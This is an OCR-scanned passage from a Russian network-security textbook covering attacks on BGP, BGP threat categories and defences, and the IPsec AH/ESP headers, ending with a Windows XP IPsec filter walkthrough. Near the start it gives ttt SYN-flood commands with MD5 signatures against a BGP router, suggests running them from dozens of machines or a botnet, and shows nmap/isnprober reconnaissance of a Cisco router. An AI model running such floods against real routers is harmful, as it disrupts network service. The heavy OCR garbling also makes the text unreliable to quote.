рутизатор необходимо использовать несколько десятков компьюте
ров, а лучше бот-сеть. 

Более интересным способом @атонления� целевого роутера BGP, 
использующего МDS-аутентификацию, является применение SYN 
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ТСР-пакетов с МDS-сиmатурами. Эта атака позволяет добавить вы
числительпую пагрузку па обработку MDS атакуемым роутером. 

Такую атаку песложпо осуществить с помощью утилиты ttt с оп
цией mdS.  Для оптимизации затоплепия песколько экземпляров ttt 
должпы быть запущепы па пескольких десятках машип. 

Вот пример использовапия утилиты ttt: 

a r h o n t u s #  . /ttt  - - flood  1 0000000  - у  1 1 00 6  - - sy n  - - m d 5  

a l l yo u r b g p a r e b e l o n g t o u s  - D  1 9 2 . 1 6 8 . 6 6 . 1 9 1  &&  . /ttt  - - flood  1 0000000  - у  
1 79 - - syn  - - m d 5  a l l yo u r b g p a r e b e l o n g t o u s  - D  1 9 2 . 1 68 . 6 6 . 1 9 1  

Говоря о б  оборудовапии производства Cisco Systems, следует упо
мяпуть о возможпости реализации атак па переполпепие ТСР /IP сте
ка IOS.  Для того чтобы выявить такие уязвимости, можпо восполь
зоваться скаперами уязвимостей, папример Nmap, hping2 и isnprober. 

Вот пример для маршрутизатора Cisco 2600: 

bt#  nmap  - sS - О  - vvvv 1 9 2 . 1 6 8 . 6 6 . 2 1 5  

< s ki p >  

ТСР S e q u e n c e  P re d i c t i o n : C l a s s=t r u l y  r a n d o m  

Di  f f i c u l ty=9 9 9 9 9 9 9  ( Good  l u c k ' ) 

ТСР I S N  Seq . N u m b e r s : 5 1 427988  A9 5 D 7AC9 7 1 F42B5A  40684349 FF2B94D4  B764FD5C  

< s ki p >  a r h o n t u s #  # pe rl  i s n p robe r .  p l  - n  1 0  - i  e t h O  - р 23  1 9 2 . 1 6 8 .  6 6 . 2 1 5  

- - I S N p ro b e r / 1 . 0 2 / Тот Va n d e po e l  ( Tom . Va n d e po e l@u bizen . c om ) 

U s i n g  e t h O : 1 9 2 . 1 68 .  77 . 5 

P ro b i n g  h o s t : 1 9 2 . 1 6 8 .  6 6 .  2 1 5  on ТСР p o r t  23 . 

H o s t : po rt I S N  Delta  

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

1 9 2 . 1 6 8 . 6 6 . 202 : 2 3 

- 1 1 545033 1 3  

- 24 1 25463  

2 0 3 1 0 5 9 5 3 4  

9 6 5 2 0 5 2 3 4  

- 1 974685094  

1 76 0 1 47902 

2089287258  

- 9 2 3724721  

- 9 3449 0 1 40 

- 1 2627 1 3275  

1 1 30377850  

2 0 5 5 1 84997  

- 1 0 6 5 854300  

- 2 9 3 9 8 9 0 3 2 8  

3734832996  

3 2 9 1 3 9 3 5 6  

- 3 0 1 3 0 1 1 979  

- 1 076541 9 

- 3 28223 1 3 5  

В целом протокол маршрутизации B G P  версии 4 является пеотъ
емлемой частью совремеппого Иптерпета, и, соответствеппо, пробле
мы в работе даппого протокола пепремеппо скажутся па фупкциопи
ровапии глобальпой сети. Поэтому если в обязаппости системпого 
адмипистратора входит обслуживапие маршрутизаторов, работаю
щих с BGP (как правило, это компапии-провайдеры),  то пеобходимо 
со всей серьезпостью отпестись к возможпым угрозам и заблаговре
меппо припять меры по защите от пих. 
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2. З. 1 7. Безопасность протокола BGP 

Думаю, всем попятпо, что сеть Иптерпет уязвима для атак с исполь
зовапием протоколов маршрутизации, и протокол BGP в этом смысле 
пе является исключепием. Дефектпые, пекорректпо пастроеппые или 
предпамереппо искажеппые источпики ипформации о маршрутах 
могут впести существеппые искажепия в работу Иптерпета путем 
вставки ложпой маршрутпой ипформации в распрострапяемые с по
мощью BGP базы маршрутпых даппых (путем измепепия, подмепы 
или повторпого использовапия пакетов BGP). Существуют также пе
которые методы парушепия работы сети в целом путем разрыва свя
зей в системе обмепа ипформацией между узлами BGP. Источпиками 
ложпой ипформации могут служить как впешпие хосты (outsider), 
так и легитимпые узлы BGP. 

Криптографическая аутептификация обмепа даппыми между парт
перами пе предусмотрепа в протоколе BGP. Протокол BGP, как и 
стек ТСР /IP, может служить целью всех сетевых атак, о которых мы 
говорили рапее в этой главе. Любой стороппий узел может включить 
правдоподобпые сообщепия BGP в обмеп даппыми между партпера
ми BGP и,  следовательпо, включить в таблицы ложпые маршруты 
или разорвать соедипепие между партперами. Любое прерывапие 
связи между партперами приводит к измепепию распрострапяемой 
картипы маршрутизации. Более того, впешпие узлы могут также раз
рывать соедипепия между партперами BG Р, обрывая для пих сессии 
ТСР с помощью ложпых пакетов. Впешпие источпики ложпой ип
формации BGP могут располагаться в любой точке сети Иптерпет. 

Требовапие поддержки мехапизма аутептификации еще пе озпа
чает его использовапия па практике. Так, мехапизм аутептификации 
осповап па примепепии предустаповлеппого разделяемого секрета 
(shared secret, общего пароля, который должпы использовать все 
участпики обмепа даппыми) и пе включает возможпостей IPsec по 
дипамическому согласовапию этого секрета. Следовательпо, исполь
зовапие аутептификации должпо быть осозпаппым решепием и пе 
может быть включепо автоматически или по умолчапию. 

Текущая спецификация BGP также позволяет реализациям про
токола припимать соедипепия от пе указаппых в копфигурации парт
перов.  Одпако в спецификации отсутствует четкое определепие �пе 
указаппого в копфигурации партпера� или способов использовапия 
аутептификации для таких случаев. 

Сами узлы BGP могут включать ложпые маршрутпые даппые, мас
кируясь под другой легитимпый узел BGP или рассылая маршрут-
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пую ипформацию от своего имепи без должпых па то полпомочий. 
Наблюдались случаи, когда пекорректпо пастроеппые или пеисправ
пые маршрутизаторы стаповились причипой серьезпых парушепий 
в работе Иптерпета. Легитимпые узлы BGP имеют коптекст и ип
формацию для создапия правдоподобпых, по ложпых маршрутпых 
даппых и, следовательпо, могут служить причипой серьезпых пару
шепий. Криптографическая защита и защита работающих устройств 
пе позволяют исключить ложпую ипформацию, получеппую от леги
тимпого партпера, все требовапия шифровапия в таком случае будут 
соблюдепы. Риск парушепий, вызываемых легитимпыми партперами 
BGP, является реальпым и обязательпо должеп припиматься во впи
мапие. Другими словами, пе стоит полпостью полагаться па соседпих 
провайдеров, пеобходимо осуществить дополпительпые пастройки, о 
которых речь пойдет далее. 

В случае передачи ложпой маршрутпой ипформации возможпо 
возпикповепие различпых проблем. Например, если ложпые даппые 
удаляют корректпую маршрутпую ипформацию для отдельпой сети, 
то опа может стать педоступпой для части Иптерпета, припявшей 
ложпые даппые. А если ложпая ипформация измепяет маршрут в 
сеть, пакеты, адресоваппые в эту сеть, могут пересылаться по пеопти
мальпому пути, что, в свою очередь, может привести к фипапсовым 
потерям для даппого провайдера. Также путь пересылки пе будет 
соответствовать ожидаемой политике или трафик будет просто уте
ряп. В результате трафик в эту сеть может быть задержап па пути, 
который будет длиппее пеобходимого. Сеть может стать педоступпой 
для областей, припявших ложпые даппые. Трафик может быть так
же паправлеп по пути, па котором даппые могут быть подвергпуты 
пежелательпому просмотру или искажепы. Например, с использо
вапием спиффера, о котором мы уже говорили рапее. Если ложпая 
ипформация показывает, что автопомпая система включает сети, ко
торые реальпо в пее пе входят, пакеты для таких сетей могут быть 
пе доставлепы из тех частей Иптерпета, которые припяли ложпую 
ипформацию. Ложпые апопсы припадлежпости сетей к автопомпой 
системе могут также привести к фрагмептировапию агрегироваппых 
адреспых блоков в других частях Иптерпета и вызвать проблемы 
в маршрутизации для других сетей. 

Как можпо видеть, проблем, связаппых с безопаспостью протокола 
BGP, довольпо мпого. Какие парушепия в работе сети могут возпик
путь в результате даппых атак? 

К парушепиям в результате таких атак отпосятся следующие: 
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О парушепие starvation (потеря пакетов ) - трафик, адресоваппый 
узлу, пересылается в ту часть сети, которая пе может обеспечить 
его доставку, в результате чего происходит потеря трафика; 

О парушепие network congestion (перегрузка сети) - через какую
либо часть сети будет пересылаться больше даппых, пежели эта 
сеть способпа обработать. Это разповидпость атаки па отказ 
в обслуживапии; 

О парушепие Ьlackhole (черпая дыра) - большое количество тра
фика паправляется для пересьшки через одип маршрутизатор, 
который пе способеп справиться с возросшим уровпем трафика 
и будет отбрасывать часть, большипство или все пакеты; 

О парушепие delay (задержка) - даппые, адресоваппые узлу, пе
ресылаются по более длиппому пути, чем обычпо. Подобпое 
парушепие может привести как к задержкам при передаче дап
пых, что особеппо заметпо при передаче потокового видео- или 
аудиокоптепта, так и к потере части трафика, так как у пекото
рых пакетов может истечь зпачепие Time То Live, время жизпи, 
из-за слишком длиппого пути; 

О парушепие looping (петли) - даппые передаются по замкпутому 
пути и пикогда пе будут доставлепы; 

О парушепие eavesdrop (перехват) - даппые пересьшаются через 
какой-либо маршрутизатор или сеть, которые пе должпы видеть 
этих даппых, ипформация при такой пересылке может просмат
риваться. Как правило, при подобпых парушепиях злоумыш
леппики специальпо паправляют трафик через сегмепт сети, 
который опи могут прослушивать. Обычпо таким способом до
бывается копфидепциальпая ипформация о кредитпых картах, 
паролях, кодах доступа и т. д . ;  

О парушепие partition (разделепие сети) - пекоторые части ка
жутся отделеппыми от сети, хотя па самом деле это пе так. В ре
зультате даппого парушепия через части может пе проходить 
трафик, что отрицательпо скажется па работе сети в целом; 

О парушепие cut (отключепие) - пекоторые части сети могут ка
заться отрезаппыми от сети, хотя реальпо опи подключепы. По 
апалогии с предыдущим парушепием через пекоторые части 
может пе проходить трафик; 

О парушепие churn (волпы) - скорость пересылки в сеть изме
пяется быстрыми темпами, что приводит к зпачительпым ва
риациям картипы доставки пакетов (и может пеблагоприятпо 
влиять па работу системы коптроля пасыщепия) ;  
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О парушепие instaЬility (пестабильпость) - работа BGP стапо
вится пестабильпой, и пе удается достичь схождепия картипы 
маршрутов ;  

О парушепие overload (перегрузка) - сообщепия BGP сами по 
себе стаповятся зпачительпой частью передаваемого через сеть 
трафика; 

О парушепие resource exhaustion (истощепие ресурсов) - сооб
щепия BGP сами по себе отпимают слишком мпого ресурсов 
маршрутизатора (папример, прострапства таблиц); 

О парушепие address-spoofing ( обмаппые адреса) - даппые пере
сылаются через пекий маршрутизатор или сеть, которые явля
ются подставпыми и могут служить для перехвата или искаже
пия ипформации. Подобпое парушепие апалогичпо парушепию 
перехват. 

2. З. 1 8. Атаки на BGP 

Даппые парушепия могут быть получепы в результате осуществлепия 
следующих атак па протокол BGP. 

BGP работает па оспове протокола ТСР, прослушивая порт 1 79.  
Следовательпо, протокол BGP уязвим для атак па ТСР, о которых 
мы говорили рапее. 

О Атака confidentiality violations (парушепие копфидепциальпо
сти) - как уже упомипалось рапее, маршрутпые даппые BGP 
передаются в открытом текстовом виде,  что позволяет легко 
перехватывать ипформацию (это происходит потому, что коп
фидепциальпость маршрутпых даппых пе является общим тре
бовапием ) .  

О Атака replay (воспроизведепие) - BGP пе включает мер по 
предотвращепию повторпого использовапия перехвачеппых 
сообщепий. 

О Атака message insertion (вставка сообщепий) - BGP пе вклю
чает защиты от вставки сообщепий. Одпако, поскольку BGP 
использует трапспортпый протокол ТСР, при завершеппой 
оргапизации соедипепия вставка сообщепий впешпим узлом 
потребует точпого предсказапия порядковых померов (такое 
предсказапие возможпо, по весьма затрудпепо для хороших реа
лизаций ТСР) или перехвата сессий. 

О Атака message deletion (удалепие сообщепий) - BGP пе вклю
чает защиты от удалепия сообщепий. Опять-таки, такие атаки 
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весьма затрудпепы для качествеппых реализаций ТСР, по ис
ключить их полпостью пельзя. 

О Атака message modification (измепепие сообщепий) - BGP пе 
включает защиты от измепепия сообщепий. Сиптаксически 
корректпая модификация без измепепия размера даппых ТСР 
в общем случае будет пезаметпой. 

О Атака Man-in-the-middle (атаки с участием человека) - BGP пе 
включает средств защиты от МIТМ-атак. BGP пе использует 
аутептификации партперов, и такие атаки стаповятся �детской 
игрушкой� .  

О Атака denial of service (атаки па службы) - хотя ложпые марш
рутпые даппые сами по себе могут служить DоS-атакой па ко
печпую систему, пытающуюся передавать даппые через сеть, и 
сеть в целом, пекоторые виды ложпой ипформации могут соз
давать DоS-атаки па сам протокол BGP. Например, апопсиро
вапие большого числа более специфичпых маршрутов (более 
длиппых префиксов) может привести к росту трафика BG Р и 
размера таблиц маршрутизации, который окажется пеприемле
мым для системы. 

2. З. 1 9. Вопросы безопасности 

При использовапии обязательпого для реализации даппого прото
кола мехапизма аутептификации спижается уровепь угрозы в ре
зультате вставки, измепепия или удалепия сообщепий, а также атак 
с участием человека (man-in-the-middle) со сторопы впешпих узлов. 
Если желательпо обеспечить копфидепциальпость маршрутпых дап
пых, эту задачу можпо решить с помощью IPsec ESP. Одпако тут 
стоит отметить, что копфидепциальпость маршрутпых даппых - это 
спорпый вопрос, так как это может пе устроить мпогих провайдеров, 

Как криптографические мехапизмы, аутептификации и IPsec пред
полагают, что криптоалгоритм является безопаспым, используемые 
секреты защищепы от раскрытия и пе могут быть угадапы, а также 
обеспечивается безопаспое управлепие платформой, предотвращепа 
возможпость ее взлома и т. п. 

Одпако стоит отметить, что эти мехапизмы пе предотвращают атак 
со сторопы легитимпых ВGР-партперов маршрутизатора. Существу
ет песколько возможпых решепий для предотвращепия вставки уз
лом BGP ложпой ипформации в апопсы, рассылаемые партперам 
(папример, для оргапизации атак па сети, из которых пачипается 
маршрут, или AS- РАТН):  
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О защита источпика - подпись исходпой AS; 
О защита источпика и соседей - подпись исходпой AS или пред

шествующей ипформации ; 
О защита источпика и маршрута - подпись исходпой AS и подпи

си AS_PATH для маршрутизаторов, со сторопы которых вы хо
тите предотвратить возможпость атаки; 

О фильтрация - осповывается па проверке AS_PATH и NLRI ис
ходпой AS. 

Фильтрация используется в пекоторых точках подключепия поль
зователей, по пеэффективпа в �цептральпых узлах� Иптерпета. 

Завершая тему безопаспости па сетевом уровпе, рассмотрим про
токол шифровапия IPSec, позволяющий защитить пакеты па сетевом 
уровпе. 

2. З.20. IPSec как средство защиты на сетевом 
уровне 

IP Security - это пабор протоколов ,  предпазпачеппых для шифро
вапия, аутептификации и обеспечепия защиты при трапспортиров
ке IР-пакетов. В его состав сейчас входят почти 20 предложепий по 
стапдартам. 

В первой реализации IPsec состоял из трех алгоритмо-пезависимых 
базовых спецификаций, опубликоваппых в качестве RFС-докумептов 
�Архитектура безопаспости IP�,  �Аутептифицирующий заголовок 
(АН)�, �ипкапсуляция зашифроваппых даппых ( ESP)� ( RFC 1 825, 
1 826 и 1 827).  

На даппый момепт рабочая группа IP Security Protocol разрабаты
вает также и протоколы управлепия ключевой ипформацией. В зада
чу этой группы входит разработка Internet Кеу Management Protocol 
( IKM P),  протокола управлепия ключами прикладпого уровпя, пе 
зависящего от используемых протоколов обеспечепия безопаспости. 

Сейчас также рассматриваются копцепции управлепия ключа
ми с использовапием спецификации Internet Security Association 
and Кеу Management Protocol ( ISAKMP) и протокола Oakley Кеу 
Determination Protocol. Спецификация ISAKMP описывает мехапиз
мы согласовапия атрибутов используемых протоколов . А протокол 
Oakley позволяет устапавливать сессиоппые ключи па компьютеры 
сети Иптерпет. Создаваемые стапдарты управлепия ключевой ип
формацией, возможпо, будут поддерживать Цептры распределепия 
ключей, апалогичпые используемым в системе Kerberos. 
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Целостпость и копфидепциальпость даппых в спецификации IPsec 
обеспечиваются за счет использовапия мехапизмов аутептифика
ции и шифровапия. Шифровапие осповапо па предварительпом со
гласовапии сторопами ипформациоппого обмепа так пазываемого 
�коптекста безопаспости� - примепяемых криптографических ал
горитмов,  алгоритмов управлепия ключевой ипформацией и их па
раметров .  Спецификация IPsec предусматривает возможпость под
держки сторопами ипформациоппого обмепа различпых протоколов 
и параметров аутептификации и шифровапия пакетов даппых, а так
же различпых схем распределепия ключей. При этом результатом со
гласовапия коптекста безопаспости является устаповлепие ипдекса 
параметров безопаспости ( S PI) ,  представляющего собой указатель 
па определеппый элемепт впутреппей структуры сторопы ипфор
мациоппого обмепа, описывающей возможпые паборы параметров 
безопаспости. 

По сути, IPSec работает па третьем уровпе, то есть па сетевом уров
пе .  В результате передаваемые IР-пакеты будут защищепы прозрач
пым для сетевых приложепий и ипфраструктуры образом. В отличие 
от SSL ( Secure Socket Layer), который работает па четвертом (то есть 
трапспортпом) уровпе и теспее связап с более высокими уровпями 
модели OSI, IPSec призвап обеспечить пизкоуровпевую защиту. 

К IР-даппым, готовым к передаче по виртуальпой частпой сети, 
IPSec добавляет заголовок для идептификации защищеппых пакетов.  
Перед передачей по Иптерпету эти пакеты ипкапсулируются в другие 
IР-пакеты. IPSec поддерживает песколько типов шифровапия, в том 
числе Data Encryption Standard ( DES)  и Message Digest 5 (MDS) .  
Существует также реализация IPSec с российским алгоритмом шиф
ровапия ГОСТ 281 47-89 в решепиях компапии КриптоПро. 

2. З.22. Защита соединения 

Для устаповлепия защищеппого соедипепия оба участпика сеапса 
должпы иметь возможпость быстро согласовать параметры защиты, 
такие как алгоритмы аутептификации и ключи. Протокол IPSec под
держивает два типа схем управлепия ключами, с помощью которых 
участпики могут согласовать параметры сеапса. 

С текущей версией IP, 1Pv4, могут быть использовапы или Internet 
Secure Association Кеу Management Protocol ( ISAKMP), или Simple 
Кеу Management for Internet Protocol. 
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Заголовок АН 
Опциопальпый заголовок ( Authentication Header, АН) является 
обычпым аутептифицирующим заголовком и обычпо располагается 
между осповпым заголовком пакета IP и полем даппых. Наличие 
даппого заголовка пикак пе влияет па процесс передачи ипформации 
трапспортпого и более высоких уровпей. Осповпым и едипствеппым 
пазпачепием АН является обеспечепие защиты от атак, связаппых с 
песапкциопироваппым измепепием содержимого пакета, в том чис
ле от подмепы исходпого адреса сетевого уровпя. Протоколы более 
высокого уровпя должпы быть модифицировапы в целях осуществ
лепия проверки аутептичпости получеппых даппых. 

Offsets 
Octet 1 6  

о 
4 
8 
с 

Octet 1 6 
A uthentication Header form at 

о 1 2 3 
B i t 1 0 о 1 2 3 4 5 6 7 8 9 1 0 1 1 1 2 1 3  14 1 5  1 6 1 7 1 8 1 9 20 2 1 22 23 24 25 26 27 28 29 30 3 1  

О Next Header Payload Len Reserved 
32 Security Parameters lndex {SPJ) 
64 Sequence Number 
96 /ntegrity Check Value {ICV) 

Рассмотрим зпачепия каждого из приведеппых полей. 

О Ne:xt Header (8  Ьits) - тип заголовка протокола, идущего после 
заголовка АН. По этому полю приемпый IР-sес-модуль узпает 
о защищаемом протоколе верхпего уровпя. Зпачепия этого поля 
для разпых протоколов можпо посмотреть в RFC 1 700. 

О Payload Len (8  Ьits) - это поле определяет общий размер АН
заголовка в 32-битовых словах мипус 2 .  Несмотря па это, при 
использовапии 1Pv6 длипа заголовка должпа быть кратпа 
8 байтам. 

О Reserved ( 1 6  Ьits) - зарезервировапо. Заполпяется пулями. 
О Secunty Parameters Index (32 Ьits) - ипдекс параметров безопас

пости. Зпачепие этого поля вместе с IР-адресом получателя и 
протоколом безопаспости (АН -протокол) одпозпачпо опреде
ляет защищеппое виртуальпое соедипепие ( SA) для даппого 
пакета. Диапазоп зпачепий SPI 1 . . .  255 зарезервировап IANA. 

О Sequence Number(._32 Ьits) - последовательпый помер. Служит 
для защиты от повторпой передачи. Поле содержит мопотоппо 
возрастающее зпачепие параметра. Несмотря па то что получа
тель может отказаться от услуги по защите от повторпой пере
дачи пакетов, опо является обязательпым и всегда присутствует 
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в АН-заголовке. Передающий IРsес-модуль всегда использует 
это поле, по получатель может его и пе обрабатывать. 

О Integrity Check Value - коптрольпая сумма. Должпа быть кратпа 
8 байтам для 1Pv6 и 4 байтам для 1Pv4. 

Протокол АН используется для аутептификации, то есть для под
тверждепия того, что мы связываемся имеппо с тем, с кем предпола
гаем, и что даппые, которые мы получаем, пе искажепы при передаче. 

Заголовок ESP 

При использовапии ипкапсуляции зашифроваппых даппых заголо
вок ESP является последпим в ряду опциопальпых заголовков, �ви
димых� в пакете. Так как осповпой целью ESP является обеспечепие 
копфидепциальпости даппых, различпые виды ипформации могут 
требовать примепепия существеппо различпых алгоритмов шифро
вапия. По этой причипе формат ESP может претерпевать зпачитель
пые измепепия в зависимости от используемых криптографических 
алгоритмов.  Тем пе мепее можпо выделить следующие обязатель
пые поля: SPI,  указывающее па коптекст безопаспости, и Sequence 
Number Field, содержащее последовательпый помер пакета. Поле 
�ESP Authentication Data� (коптрольпая сумма) пе является обяза
тельпым в заголовке ESP. Получатель пакета ESP расшифровывает 
ЕSР-заголовок и использует параметры и даппые примепяемого ал
горитма шифровапия для декодировапия ипформации трапспортпого 
уровпя. 

Offsets Octet 1 6  
Octet 1 6 B it 1 0  О 

о о 
4 32  
8 64 

Encapsulating Security Payload form at 
о 1 2 3 

2 3 4 5 6 7 8 9 1 0 1 1 1 2 1 3 1 4 1 5 1 6 1 7 1 8 1 9 202 1 2223242526272829303 1 
Security Parameters lndex (SPI} 

Sequence Number 

Payload data 

Padding (О-255 octets} 
Pad Length 

lntegrity Check Value (ICV} 
Next Header 

О Security Parameters Index (32 Ьits) - ипдекс параметров безопас
пости. Зпачепие этого поля вместе с IР-адресом получателя и 
протоколом безопаспости (АН -протокол) одпозпачпо опреде
ляет защищеппое виртуальпое соедипепие ( SA) для даппого 
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пакета. Диапазоп зпачепий SPI 1 . . .  255 зарезервировап IAN А для 
последующего использовапия. 

О Sequence Number (32 Ьits) - последовательпый помер. Служит 
для защиты от повторпой передачи. Поле содержит мопотоппо 
возрастающее зпачепие параметра. Несмотря па то что полу
чатель может и отказаться от услуги по защите от повторпой 
передачи пакетов, опо всегда присутствует в АН -заголовке. 
Отправитель (передающий IРsес -модуль) должеп всегда ис
пользовать это поле, по получатель может и пе пуждаться в его 
обработке. 

О Payload data ( variaЬle) - это поле содержит даппые в соответ
ствии с полем �Next Header� . Поле является обязательпым и 
состоит из целого числа байтов.  Если алгоритм, который ис 
пользуется для шифровапия даппого поля, требует даппых для 
сипхропизации криптопроцессов (папример, вектор ипициали
зации - �Initialization Vector� ) ,  то это поле может содержать эти 
даппые в явпом виде. 

О Padding (0-255 octets) - дополпепие. Необходимо, папример, 
для алгоритмов,  которые требуют, чтобы открытый текст был 
кратеп пекоторому числу байтов) ,  папример размеру блока для 
блочпого шифра. 

О Pad Length (8 Ьits) - размер дополпепия (в байтах). 
О Next Header (8 Ьits) - это поле определяет тип даппых, содер

жащихся в поле �Payload data�. 
О Integnty Check Value - коптрольпая сумма. Должпа быть кратпа 

8 байтам для 1Pv6 и 4 байтам для 1Pv4. 

Различают два режима примепепия ESP и АН (а также их комби
пации) - трапспортпый и туппельпый. 

Транспортный режим 
Трапспортпый режим используется для шифровапия поля даппых 
IР-пакета, содержащего протоколы трапспортпого уровпя (ТСР, UDP, 
ICMP),  которое, в свою очередь, содержит ипформацию приклад
пых служб. Примером примепепия трапспортпого режима является 
передача электроппой почты. Все промежуточпые узлы па маршруте 
пакета от отправителя к получателю используют только открытую 
ипформацию сетевого уровпя и, возможпо, пекоторые опциопаль
пые заголовки пакета (в 1Pv6) .  Недостатком трапспортпого режима 
является отсутствие мехапизмов скрытия копкретпых отправителя и 
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получателя пакета, а также возможпость проведепия апализа трафи
ка. Результатом такого апализа может стать ипформация об объемах 
и паправлепиях передачи ипформации, области иптересов абопептов, 
расположепие руководителей. 

Туннельный режим 
Туппельпый режим, в отличие от трапспортпого,  предполагает шиф
ровапие всего пакета, включая заголовок сетевого уровпя. Туппель
пый режим примепяется в случае пеобходимости скрытия ипформа
циоппого обмепа оргапизации с впешпим миром. При этом адреспые 
поля заголовка сетевого уровпя пакета, использующего туппельпый 
режим, заполпяются межсетевым экрапом оргапизации и пе содержат 
ипформации о копкретпом отправителе пакета. При передаче ипфор
мации из впешпего мира в локальпую сеть оргапизации в качестве 
адреса пазпачепия используется сетевой адрес межсетевого экрапа. 
После расшифровки межсетевым экрапом пачальпого заголовка се
тевого уровпя пакет паправляется получателю. 

Security Associations 

Security Association ( SA) - это тип соедипепия, которое предоставля
ет службы обеспечепия безопаспости трафика, передаваемого через 
пего. Например, когда два компьютера па каждой сторопе SA храпят 
режим, протокол, алгоритмы и ключи, используемые в SA, тогда каж
дый SA примепяется только в одпом паправлепии. Для двупаправ
леппой связи требуются два SA. Каждый SA реализует одип режим 
и протокол; таким образом, если для одпого пакета пеобходимо ис
пользовать два протокола (как, папример, АН и ESP),  то требуются 
два SA. 

На сегодпяшпий депь протокол IP Sec поддерживают практи 
чески все совремеппые сетевые устройства. Поэтому я пе буду 
приводить примеры пастройки даппого протокола для обору
довапия какого -то определеппого разработчика. В этом разделе 
была представлепа лишь теоретическая ипформация, позволя
ющая попять припципы работы протокола. При пеобходимости 
пастройки I PSec па копкретпых моделях оборудовапия пужпо 
воспользоваться докумептацией, представлеппой разработчиком 
оборудовапия. 

Алгоритм работы протокола IPSec представлеп па рис . 19 .  
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М а р ш рутизато р А М а ршрутизатор В 

Q -----------lii8iil � 
Хост А 

ш а г  1 П ото к да н н ых к хосту В 

Ш а с  2 1 Ассоци а ция I KE 1 � 
Ш а с  3 Ассо циа ция I PSec 1 � 
Ш а г  4 Тун нел ь I PSec 

Шаг 5 Завершение работы тун н еля I PSec 

Рис. 1 9. Алrорнтм работы IPSEC 

Хост В 

Рассмотрев теоретические осповы фупкциопировапия, перейдем 
к практической пастройке. В качестве примера мы пастроим полити
ку IPSec, запрещающую весь обмеп даппыми по протоколам НТТР 
и HTTPS. Мы будем использовать Windows ХР. Стоит отметить, что 
в случае использовапия серверпой операциоппой системы Windows 
2003 опи могут отличаться, по крайпе пезпачительпо. 

Итак, открываем копсоль ММС (Пуск � Выполпить � m m c) 
(рис. 20) .  

В открывшемся мепю пеобходимо выбрать комапду Копсоль, за
тем Добавить или удалить оспастку. В открывшемся диалоге также 
щелкаем Добавить, выбираем из открывшегося списка Управлепие 
политикой безопаспости IP (рис. 2 1  ). 

В появившемся диалоге выбора компьютера указываем Локальпыii 
компьютер. Последовательпо закрываем окпа, пажимая кпопки Гото
во, Закрыть, ОК. Теперь в левой папели копсоли у пас появится узел 
Политики безопаспости IP па Локальпыii компьютер. Сделаем па 
пем щелчок правой кпопкой мыши и выберем комапду Управлепие 
списками IР-фильтра (рис. 22) .  
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� !:;_онсоль �ействие �11д !::!.:!iбранное Qкно �пра�а 

+- -+ 001 � @ 
Нет �ле1-1енто� для отображення � �том �нде . 

Рис. 20. Консоль ММ С 

Дост�пные иэолироеенные оснастки: 

О снест1<и: � Корень 1<:онсоли О снастка П ост.эвщ11к "' ' 

О nис-!'!ние 

1 Домвиrь . . .  

� Сертифи�о:�ы 

1!1 Службе ино.е1<сироеения 

" Службы 

� Службы комnоненrо6 

[!J Ccыnic.a на 6е6·ресурс 

� !:1 nра�:тение дис11.ами 

@!:1 правление 1<.омпьютером 

Корпо�ци:=� М ейкрос . . .  

Microsoft Corporelion, К".  

Корпорациs=� М айкрос . . .  

Microsoft Corpor;:ition 

Корпорациs=� М айкрос . . .  

Microsoft and VERITAS . . .  
Корпорациs=� М айкрос . . .  

Microsoft Corporation 

Корпорация М айкрос . . .  

Администрирое�ие бе�оnесностью протоколе I P  [ IPSE CJ 
Уnрееление политикеr-�и 1 PS Е С дл:=� бе�оnесного соед11нени>1 с 
д�гими компьlОТерамL-t. 

Рис. 2 1 .  Консоль ММ С 

1 -
v , 

1 03 



1 04 КЛАССИФИ КАЦИЯ АТАК П О УРОВНЯМ И ЕРАРХИ Ч ЕСКОЙ МОДЕЛ И  OSI 

Корень KOHCO/lf1 
l!J· § Пот1п1ю1 безопасности IP 

Имя / OnV1caнV1e 
Со3дать пол11тику бе!i0Пасностf1 IP, . .  
Упра5ление списка1-1и IР-фнльтра и де11ств11ями фf1льтра 

Все задачи 

Вид 
Новое окно отсюда 

Новы11 Вf1д пане1111 задач . .  
Обновf1ть 
Экспортировать сп11сок . , .  

Справка 

Назначенная полип1ка 

Нет 

Нет 

Нет 

Упрамение сп11еками IР-филь тра f1 деl1ствиям11 фнльтра 

Рис. 22. Управление списками /Р-фильтра 

В открывшемся диалоге пажимаем кпопку Добавить. Откроется 
еще одпо окпо - Список фильтров. Для того чтобы в дальпейшем 
было проще ориептироваться в списках фильтров,  зададим пазва
пие для пового фильтра, папечатав в поле Имя, папример, Трафик_ 
ИТТР _ИТТРS . Нажимаем кпопку Добавить, чтобы приступить к 
собствеппо создапию фильтра. 

На второй страпице можпо указать описапие фильтра. Чтобы вы 
пе запутались - одип фильтр может состоять из мпожества других. 
Так как мы указали па предыдущем шаге в описапии Трафик_ИТТР _ 

ИТТРS, сейчас мы последовательпо создадим два фильтра: одип -
для НТТР, другой - для HTTPS. Результирующий фильтр будет объ
едипять эти два фильтра. Итак, указываем в поле описапия НТТР. 
Флажок Отражеппыii оставляем включеппым - это позволит рас 
прострапить правила фильтра как в одпу сторопу пересылки пакетов , 
так и в обратпую с теми же параметрами. Нажимаем Далее. 

Теперь пеобходимо указать адрес источпика IР-пакетов.  Как видпо 
па картипке, возможпость выбора адреса довольпо широка. Сейчас 
мы укажем Moii IР-адрес и пажмем Далее. В следующем окпе задаем 
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адрес назначения. Выбираем Любой IР-адрес, нажимаем Далее. Те
нерь следует указать тин нротокола. Выберите из сниска ТСР. Идем 
дальше - задаем номера нортов (рис. 23). 

Маете р фнльтров l1J� 
Порт прото�опа IP Ш" Б ольш1---1нство Т СРJI Р-протокоnов nр!.-iложенl--iя 1---1спользует общеv�звестные �-1\} 

Т СР ил1.-1 U D Р порты. 

�становка порта дnя протокола IP: 

r. Пакеты ю любого порта 

r П.океты из этого порта· 

r Пак�ы на любой порт 

r+ Паr:еты на :зтот порт: 

!во 

1 < !:! аоод Jli ,!!олее > 11 [ Отмене J 

Рис. 23. Выбор порта 

